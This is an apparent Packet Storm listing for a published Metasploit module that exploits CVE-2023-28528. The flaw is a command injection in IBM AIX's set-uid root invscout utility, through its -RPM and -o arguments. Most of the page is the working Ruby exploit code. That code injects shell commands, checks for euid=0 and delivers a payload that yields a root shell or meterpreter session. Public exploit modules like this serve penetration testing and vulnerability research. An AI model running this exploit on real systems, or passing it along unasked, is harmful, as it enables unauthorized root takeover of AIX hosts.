exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

IBM AIX 7.2 inscout Privilege Escalation

IBM AIX 7.2 inscout Privilege Escalation
Posted May 18, 2023
Authored by Tim Brown, Brendan Coles | Site metasploit.com

This Metasploit module exploits a command injection vulnerability in IBM AIX invscout set-uid root utility present in AIX 7.2 and earlier. The undocumented -rpm argument can be used to install an RPM file; and the undocumented -o argument passes arguments to the rpm utility without validation, leading to command injection with effective-uid root privileges. This module has been tested successfully on AIX 7.2.

tags | exploit, root
systems | aix
advisories | CVE-2023-28528
SHA-256 | f3e0281ebf8cc8be1ea81e0032c40dcbde5f2db791362ec9903abdd761d6ef66

IBM AIX 7.2 inscout Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'invscout RPM Privilege Escalation',
'Description' => %q{
This module exploits a command injection vulnerability in IBM AIX
invscout set-uid root utility present in AIX 7.2 and earlier.

The undocumented -rpm argument can be used to install an RPM file;
and the undocumented -o argument passes arguments to the rpm utility
without validation, leading to command injection with effective-uid
root privileges.

This module has been tested successfully on AIX 7.2.
},
'Author' => [
'Tim Brown', # Discovery and PoC
'bcoles' # Metasploit
],
'References' => [
['CVE', '2023-28528'],
['URL', 'https://talosintelligence.com/vulnerability_reports/TALOS-2023-1691'],
],
'Platform' => %w[unix aix],
'Arch' => ARCH_CMD,
'Payload' => {
'BadChars' => "\x00\x0a\x0d\x22",
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet openssl'
}
},
'DefaultOptions' => {
'PrependSetresuid' => true,
'PrependSetresgid' => true,
'PrependFork' => true
},
'SessionTypes' => %w[shell meterpreter],
'Targets' => [['Automatic', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => '2023-04-24',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options([
OptString.new('INVSCOUT_PATH', [true, 'Path to invscout executable', '/usr/sbin/invscout'])
])
end

def invscout_path
datastore['INVSCOUT_PATH']
end

def check
return CheckCode::Safe("#{invscout_path} is not executable") unless executable?(invscout_path)

res = execute_command('id')
id = res.to_s.scan(/^(.*?uid=.*?)$/).flatten.first.to_s

return CheckCode::Safe("#{invscout_path} is not vulnerable.") unless id.include?('euid=0')

CheckCode::Vulnerable("Output: #{id}")
end

def execute_command(cmd, _opts = {})
rpm_path = "#{Rex::Text.rand_text_alphanumeric(8..12)}.rpm"
rpm_args = "; #{cmd}; echo "
res = cmd_exec("#{invscout_path} -RPM #{rpm_path} -o \"#{rpm_args}\"")
vprint_line(res) unless res.blank?
res
end

def exploit
execute_command(payload.encoded)
end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    0 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    0 Files
  • 5
    Sep 5th
    0 Files
  • 6
    Sep 6th
    0 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close